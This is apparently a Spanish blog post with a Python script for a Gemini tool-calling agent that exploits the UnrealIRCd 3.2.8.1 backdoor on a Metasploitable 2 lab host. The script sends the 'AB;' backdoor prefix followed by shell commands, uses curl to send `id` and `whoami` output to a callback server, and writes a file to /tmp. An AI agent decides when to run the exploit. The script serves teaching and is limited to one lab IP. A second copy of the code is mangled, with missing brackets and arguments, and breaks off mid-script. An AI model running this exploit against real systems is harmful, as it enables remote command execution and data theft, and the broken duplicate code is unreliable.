Agente IA con Gemini para la explotación controlada de UnrealIRCd | Operating systems, scripting, PowerShell and security

Inteligencia artificial, Python, Seguridad

#!/usr/bin/env python3

import os
import json
import socket
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

from google import genai


# ============================================================
# CONFIGURACIÓN
# ============================================================

TARGET = "192.168.1.125"
ALLOWED_TARGET = "192.168.1.125"

IRC_PORT = 6667
TIMEOUT = 5

FILE_PATH = "/tmp/jesusninoc-unrealircd.txt"
FILE_CONTENT = "HOLA SOY JESUSNINOC"

CALLBACK_PORT = 8765


# ============================================================
# COMPROBAR OBJETIVO
# ============================================================

def comprobar_objetivo(ip):
    """
    Comprueba que el objetivo sea exactamente
    la máquina Metasploitable 2 del laboratorio.
    """

    if ip != ALLOWED_TARGET:
        return {
            "success": False,
            "error": (
                f"Objetivo no permitido: {ip}. "
                f"Solo se permite {ALLOWED_TARGET}."
            )
        }

    return {
        "success": True,
        "target": ip,
        "message": "Objetivo autorizado para el laboratorio."
    }


# ============================================================
# COMPROBAR PUERTO
# ============================================================

def comprobar_puerto(ip, port):
    """
    Comprueba si un puerto TCP está abierto.
    """

    if ip != ALLOWED_TARGET:
        return {
            "success": False,
            "error": "IP no autorizada."
        }

    try:

        with socket.create_connection(
            (ip, port),
            timeout=TIMEOUT
        ):

            return {
                "success": True,
                "ip": ip,
                "port": port,
                "open": True
            }

    except (socket.timeout, ConnectionRefusedError, OSError) as e:

        return {
            "success": True,
            "ip": ip,
            "port": port,
            "open": False,
            "error": str(e)
        }


# ============================================================
# OBTENER BANNER IRC
# ============================================================

def obtener_banner_irc(ip):
    """
    Obtiene el banner del servicio IRC del puerto 6667.
    """

    if ip != ALLOWED_TARGET:
        return {
            "success": False,
            "error": "IP no autorizada."
        }

    try:

        with socket.create_connection(
            (ip, IRC_PORT),
            timeout=TIMEOUT
        ) as sock:

            sock.settimeout(TIMEOUT)

            # ------------------------------------------------
            # PRIMERA RESPUESTA
            # ------------------------------------------------

            try:

                banner = sock.recv(
                    4096
                ).decode(
                    "utf-8",
                    errors="replace"
                )

            except socket.timeout:

                banner = ""

            # ------------------------------------------------
            # IDENTIFICACIÓN IRC
            # ------------------------------------------------

            try:

                sock.sendall(
                    b"NICK profesor\r\n"
                )

                sock.sendall(
                    b"USER profesor 0 * :Laboratorio\r\n"
                )

                respuesta = sock.recv(
                    4096
                ).decode(
                    "utf-8",
                    errors="replace"
                )

            except Exception:

                respuesta = ""

            return {
                "success": True,
                "ip": ip,
                "port": IRC_PORT,
                "banner": banner,
                "response": respuesta
            }

    except Exception as e:

        return {
            "success": False,
            "error": str(e)
        }


# ============================================================
# DATOS DEL CALLBACK
# ============================================================

callback_data = {
    "received": False,
    "data": "",
    "timestamp": ""
}


# ============================================================
# SERVIDOR HTTP CALLBACK
# ============================================================

class CallbackHandler(BaseHTTPRequestHandler):

    def do_GET(self):

        global callback_data

        try:

            callback_data["received"] = True
            callback_data["data"] = self.path

            callback_data["timestamp"] = (
                time.strftime(
                    "%Y-%m-%d %H:%M:%S"
                )
            )

            body = (
                "OK - evidencia recibida\n"
            ).encode()

            self.send_response(200)

            self.send_header(
                "Content-Type",
                "text/plain; charset=utf-8"
            )

            self.send_header(
                "Content-Length",
                str(len(body))
            )

            self.end_headers()

            self.wfile.write(
                body
            )

        except Exception:

            self.send_response(
                500
            )

            self.end_headers()

    def log_message(self, format, *args):
        return


# ============================================================
# INICIAR CALLBACK
# ============================================================

def iniciar_servidor_callback():

    server = HTTPServer(
        (
            "0.0.0.0",
            CALLBACK_PORT
        ),
        CallbackHandler
    )

    thread = threading.Thread(
        target=server.serve_forever,
        daemon=True
    )

    thread.start()

    return server


# ============================================================
# OBTENER IP LOCAL
# ============================================================

def obtener_ip_local():

    sock = socket.socket(
        socket.AF_INET,
        socket.SOCK_DGRAM
    )

    try:

        sock.connect(
            (
                TARGET,
                1
            )
        )

        ip = sock.getsockname()[0]

    except Exception:

        ip = "127.0.0.1"

    finally:

        sock.close()

    return ip


# ============================================================
# BACKDOOR UNREALIRCD
# ============================================================

def activar_unrealircd_backdoor(ip):
    """
    Demostración controlada contra Metasploitable 2.

    Se utiliza el servicio UnrealIRCd del puerto 6667
    y se envían comandos de demostración.

    La prueba crea:

        /tmp/jesusninoc-unrealircd.txt

    con:

        HOLA SOY JESUSNINOC
    """

    global callback_data

    # --------------------------------------------------------
    # COMPROBACIÓN
    # --------------------------------------------------------

    if ip != ALLOWED_TARGET:

        return {
            "success": False,
            "error": "IP no autorizada."
        }

    # --------------------------------------------------------
    # IP LOCAL
    # --------------------------------------------------------

    local_ip = obtener_ip_local()

    print()
    print("=" * 70)
    print("        DEMOSTRACIÓN UNREALIRCD 3.2.8.1")
    print("=" * 70)
    print()

    print(
        f"Objetivo       : {ip}"
    )

    print(
        f"Puerto IRC     : {IRC_PORT}"
    )

    print(
        f"IP local       : {local_ip}"
    )

    print(
        f"Puerto callback: {CALLBACK_PORT}"
    )

    print()

    # --------------------------------------------------------
    # RESET CALLBACK
    # --------------------------------------------------------

    callback_data = {
        "received": False,
        "data": "",
        "timestamp": ""
    }

    # --------------------------------------------------------
    # SERVIDOR CALLBACK
    # --------------------------------------------------------

    try:

        server = iniciar_servidor_callback()

    except Exception as e:

        return {
            "success": False,
            "error": (
                f"No se pudo iniciar el callback: {e}"
            )
        }

    # --------------------------------------------------------
    # URL CALLBACK
    # --------------------------------------------------------

    callback_url = (
        f"http://{local_ip}:{CALLBACK_PORT}/"
    )

    # --------------------------------------------------------
    # COMANDOS
    # --------------------------------------------------------

    comando_id = (
        f"curl -s "
        f"'{callback_url}id_$(id | "
        f"sed \"s/ /_/g\")' "
        f"> /dev/null"
    )

    comando_whoami = (
        f"curl -s "
        f"'{callback_url}whoami_$(whoami)' "
        f"> /dev/null"
    )

    comando_fichero = (
        f"echo '{FILE_CONTENT}' "
        f"> {FILE_PATH}"
    )

    comando_verificacion = (
        f"test -f {FILE_PATH} && "
        f"curl -s "
        f"'{callback_url}file_created' "
        f"> /dev/null"
    )

    comandos = [
        comando_id,
        comando_whoami,
        comando_fichero,
        comando_verificacion
    ]

    # --------------------------------------------------------
    # CONEXIÓN IRC
    # --------------------------------------------------------

    resultados_envio = []

    try:

        with socket.create_connection(
            (
                ip,
                IRC_PORT
            ),
            timeout=TIMEOUT
        ) as sock:

            sock.settimeout(
                TIMEOUT
            )

            print(
                "[+] Conectado al puerto IRC 6667."
            )

            # ------------------------------------------------
            # ENVIAR COMANDOS
            # ------------------------------------------------

            for comando in comandos:

                payload = (
                    "AB;"
                    + comando
                    + "\n"
                )

                print()
                print(
                    "[>] Enviando:"
                )

                print(
                    f"    {comando}"
                )

                sock.sendall(
                    payload.encode()
                )

                resultados_envio.append(
                    comando
                )

                time.sleep(
                    1
                )

            print()
            print(
                "[+] Comandos enviados."
            )

    except Exception as e:

        server.shutdown()

        return {
            "success": False,
            "error": str(e)
        }

    # --------------------------------------------------------
    # ESPERAR CALLBACK
    # --------------------------------------------------------

    print()
    print(
        "[*] Esperando evidencia..."
    )

    inicio = time.time()

    while (
        time.time() - inicio < 10
    ):

        if callback_data["received"]:
            break

        time.sleep(
            0.25
        )

    # --------------------------------------------------------
    # CERRAR CALLBACK
    # --------------------------------------------------------

    server.shutdown()

    # --------------------------------------------------------
    # ANALIZAR
    # --------------------------------------------------------

    evidencia = callback_data[
        "data"
    ]

    id_detectado = (
        "id_" in evidencia
    )

    whoami_detectado = (
        "whoami_" in evidencia
    )

    fichero_creado = (
        "file_created" in evidencia
    )

    # --------------------------------------------------------
    # USUARIO
    # --------------------------------------------------------

    usuario = ""

    if whoami_detectado:

        try:

            usuario = evidencia.split(
                "whoami_",
                1
            )[1]

        except Exception:

            usuario = ""

    # --------------------------------------------------------
    # RESULTADO
    # --------------------------------------------------------

    resultado = {

        "success": True,

        "target": ip,

        "service": "UnrealIRCd",

        "port": IRC_PORT,

        "backdoor": "AB;",

        "commands_sent": resultados_envio,

        "callback_ip": local_ip,

        "callback_port": CALLBACK_PORT,

        "evidence_received":
            callback_data["received"],

        "evidence":
            evidencia,

        "id_executed":
            id_detectado,

        "whoami_executed":
            whoami_detectado,

        "remote_user":
            usuario,

        "file":
            FILE_PATH,

        "file_content":
            FILE_CONTENT,

        "file_created":
            fichero_creado
    }

    # --------------------------------------------------------
    # MOSTRAR
    # --------------------------------------------------------

    print()
    print("=" * 70)
    print("                       RESULTADO")
    print("=" * 70)

    print()

    print(
        f"Objetivo       : {ip}"
    )

    print(
        f"Puerto         : {IRC_PORT}"
    )

    print(
        "Callback       : "
        + (
            "RECIBIDO"
            if callback_data["received"]
            else "NO RECIBIDO"
        )
    )

    print(
        "id ejecutado   : "
        + (
            "SÍ"
            if id_detectado
            else "NO"
        )
    )

    print(
        "whoami ejecutado: "
        + (
            "SÍ"
            if whoami_detectado
            else "NO"
        )
    )

    print(
        f"Usuario        : {usuario}"
    )

    print(
        "Fichero creado : "
        + (
            "SÍ"
            if fichero_creado
            else "NO"
        )
    )

    print()

    if callback_data["received"]:

        print(
            "🎉 Se ha recibido evidencia desde "
            "Metasploitable 2."
        )

    else:

        print(
            "⚠️ No se ha recibido callback."
        )

    print()

    print("=" * 70)

    return resultado


# ============================================================
# FUNCIONES DISPONIBLES
# ============================================================

available_functions = {

    "comprobar_objetivo":
        comprobar_objetivo,

    "comprobar_puerto":
        comprobar_puerto,

    "obtener_banner_irc":
        obtener_banner_irc,

    "activar_unrealircd_backdoor":
        activar_unrealircd_backdoor
}


# ============================================================
# HERRAMIENTAS PARA GEMINI
# ============================================================

tools = [

    {
        "type": "function",

        "name": "comprobar_objetivo",

        "description": (
            "Comprueba que la IP sea exactamente "
            "192.168.1.125."
        ),

        "parameters": {

            "type": "object",

            "properties": {

                "ip": {
                    "type": "string"
                }

            },

            "required": [
                "ip"
            ]
        }
    },

    {
        "type": "function",

        "name": "comprobar_puerto",

        "description": (
            "Comprueba si un puerto TCP está abierto "
            "en el objetivo autorizado."
        ),

        "parameters": {

            "type": "object",

            "properties": {

                "ip": {
                    "type": "string"
                },

                "port": {
                    "type": "integer"
                }
            },

            "required": [
                "ip",
                "port"
            ]
        }
    },

    {
        "type": "function",

        "name": "obtener_banner_irc",

        "description": (
            "Obtiene el banner del servicio IRC "
            "del puerto 6667."
        ),

        "parameters": {

            "type": "object",

            "properties": {

                "ip": {
                    "type": "string"
                }
            },

            "required": [
                "ip"
            ]
        }
    },

    {
        "type": "function",

        "name": "activar_unrealircd_backdoor",

        "description": (
            "Realiza una demostración controlada de "
            "UnrealIRCd contra 192.168.1.125. "
            "La prueba está limitada al laboratorio "
            "y crea el fichero "
            "/tmp/jesusninoc-unrealircd.txt."
        ),

        "parameters": {

            "type": "object",

            "properties": {

                "ip": {
                    "type": "string"
                }
            },

            "required": [
                "ip"
            ]
        }
    }
]


# ============================================================
# PROMPT DEL AGENTE
# ============================================================

SYSTEM_PROMPT = """
Eres un agente de ciberseguridad utilizado
exclusivamente para una práctica docente.

El único objetivo autorizado es:

192.168.1.125

Se trata de una máquina Metasploitable 2
en una red de laboratorio.

La práctica estudia UnrealIRCd.

Debes:

1. Comprobar el objetivo.
2. Comprobar el puerto 6667.
3. Obtener el banner IRC.
4. Analizar la información obtenida.
5. Si procede, utilizar la herramienta
   activar_unrealircd_backdoor.
6. Analizar la evidencia obtenida.
7. Explicar al profesor el resultado.

No utilices Metasploit.

No ataques ninguna otra dirección.

No realices escaneos externos.

No establezcas persistencia.

No crees usuarios.

No borres archivos.

No modifiques configuraciones.

La única modificación de archivo permitida
en la demostración es:

/tmp/jesusninoc-unrealircd.txt

con:

HOLA SOY JESUSNINOC
"""


# ============================================================
# AGENTE GEMINI
# ============================================================

def ejecutar_agente():

    print()
    print("=" * 70)
    print(
        "       GEMINI + PYTHON + METASPLOITABLE 2"
    )
    print(
        "       DEMOSTRACIÓN UNREALIRCD 3.2.8.1"
    )
    print("=" * 70)
    print()

    # --------------------------------------------------------
    # API KEY
    # --------------------------------------------------------

    api_key = os.environ.get(
        "GEMINI_API_KEY"
    )

    if not api_key:

        print(
            "❌ No se ha encontrado GEMINI_API_KEY."
        )

        print()

        print(
            'export GEMINI_API_KEY="TU_API_KEY"'
        )

        return

    # --------------------------------------------------------
    # CLIENTE
    # --------------------------------------------------------

    client = genai.Client(
        api_key=api_key
    )

    # --------------------------------------------------------
    # PETICIÓN INICIAL
    # --------------------------------------------------------

    prompt = f"""
Realiza una demostración controlada de seguridad
sobre Metasploitable 2.

El único objetivo autorizado es:

{TARGET}

Quiero investigar el servicio UnrealIRCd.

Utiliza primero:

- comprobar_objetivo
- comprobar_puerto
- obtener_banner_irc

Si la información obtenida justifica continuar,
utiliza activar_unrealircd_backdoor.

No utilices Metasploit.

Al terminar explica claramente qué ocurrió.
"""

    # --------------------------------------------------------
    # PRIMERA INTERACCIÓN
    # --------------------------------------------------------

    interaction = client.interactions.create(

        model="gemini-3.6-flash",

        input=prompt,

        tools=tools,

        system_instruction=SYSTEM_PROMPT
    )

    # --------------------------------------------------------
    # BUCLE
    # --------------------------------------------------------

    while True:

        function_calls = []

        # ----------------------------------------------------
        # PROCESAR PASOS
        # ----------------------------------------------------

        for step in interaction.steps:

            step_type = getattr(
                step,
                "type",
                None
            )

            if step_type == "function_call":

                function_calls.append(
                    step
                )

            elif step_type == "text":

                texto = getattr(
                    step,
                    "text",
                    None
                )

                if texto:

                    print()
                    print(
                        "🤖 GEMINI:"
                    )

                    print(
                        texto
                    )

        # ----------------------------------------------------
        # NO HAY MÁS FUNCIONES
        # ----------------------------------------------------

        if not function_calls:

            print()
            print("=" * 70)
            print(
                "                 FIN DEL AGENTE"
            )
            print("=" * 70)
            print()

            break

        # ----------------------------------------------------
        # EJECUTAR FUNCTION CALLS
        # ----------------------------------------------------

        for call in function_calls:

            nombre = getattr(
                call,
                "name",
                None
            )

            argumentos = getattr(
                call,
                "arguments",
                {}
            )

            print()
            print(
                "🧠 GEMINI HA DECIDIDO UTILIZAR:"
            )

            print(
                f"   {nombre}"
            )

            print()
            print(
                "📦 ARGUMENTOS:"
            )

            try:

                print(
                    json.dumps(
                        argumentos,
                        indent=2,
                        ensure_ascii=False
                    )
                )

            except Exception:

                print(
                    argumentos
                )

            # ------------------------------------------------
            # BUSCAR FUNCIÓN
            # ------------------------------------------------

            funcion = available_functions.get(
                nombre
            )

            if funcion is None:

                resultado = {
                    "success": False,
                    "error":
                        f"Herramienta desconocida: {nombre}"
                }

            else:

                try:

                    if isinstance(
                        argumentos,
                        str
                    ):

                        argumentos = json.loads(
                            argumentos
                        )

                    resultado = funcion(
                        **argumentos
                    )

                except Exception as e:

                    resultado = {
                        "success": False,
                        "error": str(e)
                    }

            # ------------------------------------------------
            # MOSTRAR RESULTADO
            # ------------------------------------------------

            print()
            print(
                "🔧 RESULTADO DE LA HERRAMIENTA:"
            )

            print(
                json.dumps(
                    resultado,
                    indent=2,
                    ensure_ascii=False
                )
            )

            # =================================================
            # AQUÍ ESTÁ LA CORRECCIÓN IMPORTANTE
            # =================================================
            #
            # Gemini espera:
            #
            # result = [
            #     {
            #         "type": "text",
            #         "text": "..."
            #     }
            # ]
            #
            # Además hay que enviar name + call_id.
            # =================================================

            function_result = {

                "type":
                    "function_result",

                "name":
                    nombre,

                "call_id":
                    call.id,

                "result": [

                    {
                        "type": "text",

                        "text":
                            json.dumps(
                                resultado,
                                ensure_ascii=False
                            )
                    }

                ]
            }

            # ------------------------------------------------
            # DEVOLVER RESULTADO A GEMINI
            # ------------------------------------------------

            interaction = client.interactions.create(

                model="gemini-3.6-flash",

                previous_interaction_id=
                    interaction.id,

                input=[
                    function_result
                ],

                tools=tools,

                system_instruction=
                    SYSTEM_PROMPT
            )

            # ------------------------------------------------
            # IMPORTANTE:
            # SOLO PROCESAMOS UNA NUEVA INTERACCIÓN
            # POR CADA LLAMADA
            # ------------------------------------------------

            break


# ============================================================
# MAIN
# ============================================================

if __name__ == "__main__":

    try:

        ejecutar_agente()

    except KeyboardInterrupt:

        print()
        print(
            "⛔ Ejecución interrumpida."
        )

    except Exception as e:

        print()
        print(
            "❌ ERROR:"
        )

        print(
            e
        )

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#!/usr/bin/env python3

import os

import json

import socket

import threading

import time

from http.server import BaseHTTPRequestHandler, HTTPServer

from google import genai

# ============================================================

# CONFIGURACIÓN

# ============================================================

TARGET = "192.168.1.125"

ALLOWED_TARGET = "192.168.1.125"

IRC_PORT = 6667

TIMEOUT = 5

FILE_PATH = "/tmp/jesusninoc-unrealircd.txt"

FILE_CONTENT = "HOLA SOY JESUSNINOC"

CALLBACK_PORT = 8765

# ============================================================

# COMPROBAR OBJETIVO

# ============================================================

def comprobar_objetivo(ip):

"""

Comprueba que el objetivo sea exactamente

la máquina Metasploitable 2 del laboratorio.

"""

if ip != ALLOWED_TARGET:

return {

"success": False,

"error": (

f"Objetivo no permitido: {ip}. "

f"Solo se permite {ALLOWED_TARGET}."

)

}

return {

"success": True,

"target": ip,

"message": "Objetivo autorizado para el laboratorio."

}

# ============================================================

# COMPROBAR PUERTO

# ============================================================

def comprobar_puerto(ip, port):

"""

Comprueba si un puerto TCP está abierto.

"""

if ip != ALLOWED_TARGET:

return {

"success": False,

"error": "IP no autorizada."

}

try:

with socket.create_connection(

(ip, port),

timeout=TIMEOUT

return {

"success": True,

"ip": ip,

"port": port,

"open": True

}

except (socket.timeout, ConnectionRefusedError, OSError) as e:

return {

"success": True,

"ip": ip,

"port": port,

"open": False,

"error": str(e)

}

# ============================================================

# OBTENER BANNER IRC

# ============================================================

def obtener_banner_irc(ip):

"""

Obtiene el banner del servicio IRC del puerto 6667.

"""

if ip != ALLOWED_TARGET:

return {

"success": False,

"error": "IP no autorizada."

}

try:

with socket.create_connection(

(ip, IRC_PORT),

timeout=TIMEOUT

) as sock:

sock.settimeout(TIMEOUT)

# ------------------------------------------------

# PRIMERA RESPUESTA

# ------------------------------------------------

try:

banner = sock.recv(

4096

).decode(

"utf-8",

errors="replace"

)

except socket.timeout:

banner = ""

# ------------------------------------------------

# IDENTIFICACIÓN IRC

# ------------------------------------------------

try:

sock.sendall(

b"NICK profesor\r\n"

)

sock.sendall(

b"USER profesor 0 * :Laboratorio\r\n"

)

respuesta = sock.recv(

4096

).decode(

"utf-8",

errors="replace"

)

except Exception:

respuesta = ""

return {

"success": True,

"ip": ip,

"port": IRC_PORT,

"banner": banner,

"response": respuesta

}

except Exception as e:

return {

"success": False,

"error": str(e)

}

# ============================================================

# DATOS DEL CALLBACK

# ============================================================

callback_data = {

"received": False,

"data": "",

"timestamp": ""

}

# ============================================================

# SERVIDOR HTTP CALLBACK

# ============================================================

class CallbackHandler(BaseHTTPRequestHandler):

def do_GET(self):

global callback_data

try:

callback_data["received"] = True

callback_data["data"] = self.path

callback_data["timestamp"] = (

time.strftime(

"%Y-%m-%d %H:%M:%S"

)

body = (

"OK - evidencia recibida\n"

).encode()

self.send_response(200)

self.send_header(

"Content-Type",

"text/plain; charset=utf-8"

)

self.send_header(

"Content-Length",

str(len(body))

)

self.end_headers()

self.wfile.write(

body

)

except Exception:

self.send_response(

500

)

self.end_headers()

def log_message(self, format, *args):

return

# ============================================================

# INICIAR CALLBACK

# ============================================================

def iniciar_servidor_callback():

server = HTTPServer(

(

"0.0.0.0",

CALLBACK_PORT

CallbackHandler

)

thread = threading.Thread(

target=server.serve_forever,

daemon=True

)

thread.start()

return server

# ============================================================

# OBTENER IP LOCAL

# ============================================================

def obtener_ip_local():

sock = socket.socket(

socket.AF_INET,

socket.SOCK_DGRAM

)

try:

sock.connect(

(

TARGET,

)

ip = sock.getsockname()[0]

except Exception:

ip = "127.0.0.1"

finally:

sock.close()

return ip

# ============================================================

# BACKDOOR UNREALIRCD

# ============================================================

def activar_unrealircd_backdoor(ip):

"""

Demostración controlada contra Metasploitable 2.

Se utiliza el servicio UnrealIRCd del puerto 6667

y se envían comandos de demostración.

La prueba crea:

/tmp/jesusninoc-unrealircd.txt

con:

HOLA SOY JESUSNINOC

"""

global callback_data

# --------------------------------------------------------

# COMPROBACIÓN

# --------------------------------------------------------

if ip != ALLOWED_TARGET:

return {

"success": False,

"error": "IP no autorizada."

}

# --------------------------------------------------------

# IP LOCAL

# --------------------------------------------------------

local_ip = obtener_ip_local()

print()

print("=" * 70)

print(" DEMOSTRACIÓN UNREALIRCD 3.2.8.1")

print("=" * 70)

print()

print(

f"Objetivo : {ip}"

)

print(

f"Puerto IRC : {IRC_PORT}"

)

print(

f"IP local : {local_ip}"

)

print(

f"Puerto callback: {CALLBACK_PORT}"

)

print()

# --------------------------------------------------------

# RESET CALLBACK

# --------------------------------------------------------

callback_data = {

"received": False,

"data": "",

"timestamp": ""

}

# --------------------------------------------------------

# SERVIDOR CALLBACK

# --------------------------------------------------------

try:

server = iniciar_servidor_callback()

except Exception as e:

return {

"success": False,

"error": (

f"No se pudo iniciar el callback: {e}"

)

}

# --------------------------------------------------------

# URL CALLBACK

# --------------------------------------------------------

callback_url = (

f"http://{local_ip}:{CALLBACK_PORT}/"

)

# --------------------------------------------------------

# COMANDOS

# --------------------------------------------------------

comando_id = (

f"curl -s "

f"'{callback_url}id_$(id | "

f"sed \"s/ /_/g\")' "

f"> /dev/null"

)

comando_whoami = (

f"curl -s "

f"'{callback_url}whoami_$(whoami)' "

f"> /dev/null"

)

comando_fichero = (

f"echo '{FILE_CONTENT}' "

f"> {FILE_PATH}"

)

comando_verificacion = (

f"test -f {FILE_PATH} && "

f"curl -s "

f"'{callback_url}file_created' "

f"> /dev/null"

)

comandos = [

comando_id,

comando_whoami,

comando_fichero,

comando_verificacion

]

# --------------------------------------------------------

# CONEXIÓN IRC

# --------------------------------------------------------

resultados_envio = []

try:

with socket.create_connection(

(

ip,

IRC_PORT

timeout=TIMEOUT

) as sock:

sock.settimeout(

TIMEOUT

)

print(

"[+] Conectado al puerto IRC 6667."

)

# ------------------------------------------------

# ENVIAR COMANDOS

# ------------------------------------------------

for comando in comandos:

payload = (

"AB;"

+ comando

+ "\n"

)

print()

print(

"[>] Enviando:"

)

print(

f" {comando}"

)

sock.sendall(

payload.encode()

)

resultados_envio.append(

comando

)

time.sleep(

)

print()

print(

"[+] Comandos enviados."

)

except Exception as e:

server.shutdown()

return {

"success": False,

"error": str(e)

}

# --------------------------------------------------------

# ESPERAR CALLBACK

# --------------------------------------------------------

print()

print(

"[*] Esperando evidencia..."

)

inicio = time.time()

while (

time.time() - inicio < 10

if callback_data["received"]:

break

time.sleep(

0.25

)

# --------------------------------------------------------

# CERRAR CALLBACK

# --------------------------------------------------------

server.shutdown()

# --------------------------------------------------------

# ANALIZAR

# --------------------------------------------------------

evidencia = callback_data[

"data"

]

id_detectado = (

"id_" in evidencia

)

whoami_detectado = (

"whoami_" in evidencia

)

fichero_creado = (

"file_created" in evidencia

)

# --------------------------------------------------------

# USUARIO

# --------------------------------------------------------

usuario = ""

if whoami_detectado:

try:

usuario = evidencia.split(

"whoami_",

)[1]

except Exception:

usuario = ""

# --------------------------------------------------------

# RESULTADO

# --------------------------------------------------------

resultado = {

"success": True,

"target": ip,

"service": "UnrealIRCd",

"port": IRC_PORT,

"backdoor": "AB;",

"commands_sent": resultados_envio,

"callback_ip": local_ip,

"callback_port": CALLBACK_PORT,

"evidence_received":

callback_data["received"],

"evidence":

evidencia,

"id_executed":

id_detectado,

"whoami_executed":

whoami_detectado,

"remote_user":

usuario,

"file":

FILE_PATH,

"file_content":

FILE_CONTENT,

"file_created":

fichero_creado

}

# --------------------------------------------------------

# MOSTRAR

# --------------------------------------------------------

print()

print("=" * 70)

print(" RESULTADO")

print("=" * 70)

print()

print(

f"Objetivo : {ip}"

)

print(

f"Puerto : {IRC_PORT}"

)

print(

"Callback : "

+ (

"RECIBIDO"

if callback_data["received"]

else "NO RECIBIDO"

)

print(

"id ejecutado : "

+ (

"SÍ"

if id_detectado

else "NO"

)

print(

"whoami ejecutado: "

+ (

"SÍ"

if whoami_detectado

else "NO"

)

print(

f"Usuario : {usuario}"

)

print(

"Fichero creado : "

+ (

"SÍ"

if fichero_creado

else "NO"

)

print()

if callback_data["received"]:

print(

"🎉 Se ha recibido evidencia desde "

"Metasploitable 2."

)

else:

print(

"⚠️ No se ha recibido callback."

)

print()

print("=" * 70)

return resultado

# ============================================================

# FUNCIONES DISPONIBLES

# ============================================================

available_functions = {

"comprobar_objetivo":

comprobar_objetivo,

"comprobar_puerto":

comprobar_puerto,

"obtener_banner_irc":

obtener_banner_irc,

"activar_unrealircd_backdoor":

activar_unrealircd_backdoor

}

# ============================================================

# HERRAMIENTAS PARA GEMINI

# ============================================================

tools = [

{

"type": "function",

"name": "comprobar_objetivo",

"description": (

"Comprueba que la IP sea exactamente "

"192.168.1.125."

"parameters": {

"type": "object",

"properties": {

"ip": {

"type": "string"

}

"required": [

"ip"

]

}

{

"type": "function",

"name": "comprobar_puerto",

"description": (

"Comprueba si un puerto TCP está abierto "

"en el objetivo autorizado."

"parameters": {

"type": "object",

"properties": {

"ip": {

"type": "string"

"port": {

"type": "integer"

}

"required": [

"ip",

"port"

]

}

{

"type": "function",

"name": "obtener_banner_irc",

"description": (

"Obtiene el banner del servicio IRC "

"del puerto 6667."

"parameters": {

"type": "object",

"properties": {

"ip": {

"type": "string"

}

"required": [

"ip"

]

}

{

"type": "function",

"name": "activar_unrealircd_backdoor",

"description": (

"Realiza una demostración controlada de "

"UnrealIRCd contra 192.168.1.125. "

"La prueba está limitada al laboratorio "

"y crea el fichero "

"/tmp/jesusninoc-unrealircd.txt."

"parameters": {

"type": "object",

"properties": {

"ip": {

"type": "string"

}

"required": [

"ip"

]

}

]

# ============================================================

# PROMPT DEL AGENTE

# ============================================================

SYSTEM_PROMPT = """

Eres un agente de ciberseguridad utilizado

exclusivamente para una práctica docente.

El único objetivo autorizado es:

192.168.1.125

Se trata de una máquina Metasploitable 2

en una red de laboratorio.

La práctica estudia UnrealIRCd.

Debes:

1. Comprobar el objetivo.

2. Comprobar el puerto 6667.

3. Obtener el banner IRC.

4. Analizar la información obtenida.

5. Si procede, utilizar la herramienta

activar_unrealircd_backdoor.

6. Analizar la evidencia obtenida.

7. Explicar al profesor el resultado.

No utilices Metasploit.

No ataques ninguna otra dirección.

No realices escaneos externos.

No establezcas persistencia.

No crees usuarios.

No borres archivos.

No modifiques configuraciones.

La única modificación de archivo permitida

en la demostración es:

/tmp/jesusninoc-unrealircd.txt

con:

HOLA SOY JESUSNINOC

"""

# ============================================================

# AGENTE GEMINI

# ============================================================

def ejecutar_agente():

print()

print("=" * 70)

print(

" GEMINI + PYTHON + METASPLOITABLE 2"

)

print(

" DEMOSTRACIÓN UNREALIRCD 3.2.8.1"

)

print("=" * 70)

print()

# --------------------------------------------------------

# API KEY

# --------------------------------------------------------

api_key = os.environ.get(

"GEMINI_API_KEY"

)

if not api_key:

print(

"❌ No se ha encontrado GEMINI_API_KEY."

)

print()

print(

'export GEMINI_API_KEY="TU_API_KEY"'

)

return

# --------------------------------------------------------

# CLIENTE

# --------------------------------------------------------

client = genai.Client(

api_key=api_key

)

# --------------------------------------------------------

# PETICIÓN INICIAL

# --------------------------------------------------------

prompt = f"""

Realiza una demostración controlada de seguridad

sobre Metasploitable 2.

El único objetivo autorizado es:

{TARGET}

Quiero investigar el servicio UnrealIRCd.

Utiliza primero:

- comprobar_objetivo

- comprobar_puerto

- obtener_banner_irc

Si la información obtenida justifica continuar,

utiliza activar_unrealircd_backdoor.

No utilices Metasploit.

Al terminar explica claramente qué ocurrió.

"""

# --------------------------------------------------------

# PRIMERA INTERACCIÓN

# --------------------------------------------------------

interaction = client.interactions.create(

model="gemini-3.6-flash",

input=prompt,

tools=tools,

system_instruction=SYSTEM_PROMPT

)

# --------------------------------------------------------

# BUCLE

# --------------------------------------------------------

while True:

function_calls = []

# ----------------------------------------------------

# PROCESAR PASOS

# ----------------------------------------------------

for step in interaction.steps:

step_type = getattr(

step,

"type",

None

)

if step_type == "function_call":

function_calls.append(

step

)

elif step_type == "text":

texto = getattr(

step,

"text",

None

)

if texto:

print()

print(

"🤖 GEMINI:"

)

print(

texto

)

# ----------------------------------------------------

# NO HAY MÁS FUNCIONES

# ----------------------------------------------------

if not function_calls:

print()

print("=" * 70)

print(

" FIN DEL AGENTE"

)

print("=" * 70)

print()

break

# ----------------------------------------------------

# EJECUTAR FUNCTION CALLS

# ----------------------------------------------------

for call in function_calls:

nombre = getattr(

call,

"name",

None

)

argumentos = getattr(

call,

"arguments",

{}

)

print()

print(

"🧠 GEMINI HA DECIDIDO UTILIZAR:"

)

print(

f" {nombre}"

)

print()

print(

"📦 ARGUMENTOS:"

)

try:

print(

json.dumps(

argumentos,

indent=2,

ensure_ascii=False

)

except Exception:

print(

argumentos

)

# ------------------------------------------------

# BUSCAR FUNCIÓN

# ------------------------------------------------

funcion = available_functions.get(

nombre

)

if funcion is None:

resultado = {

"success": False,

"error":

f"Herramienta desconocida: {nombre}"

}

else:

try:

if isinstance(

argumentos,

str

argumentos = json.loads(

argumentos

)

resultado = funcion(

**argumentos

)

except Exception as e:

resultado = {

"success": False,

"error": str(e)

}

# ------------------------------------------------

# MOSTRAR RESULTADO

# ------------------------------------------------

print()

print(

"🔧 RESULTADO DE LA HERRAMIENTA:"

)

print(

json.dumps(

resultado,

indent=2,

ensure_ascii=False

)

# =================================================

# AQUÍ ESTÁ LA CORRECCIÓN IMPORTANTE

# =================================================

# Gemini espera:

# result = [

# {

# "type": "text",

# "text": "..."

# }

# ]

# Además hay que enviar name + call_id.

# =================================================

function_result = {

"type":

"function_result",

"name":

nombre,

"call_id":

call.id,

"result": [

{

"type": "text",

"text":

json.dumps(

resultado,

ensure_ascii=False

)

}

]

}

# ------------------------------------------------

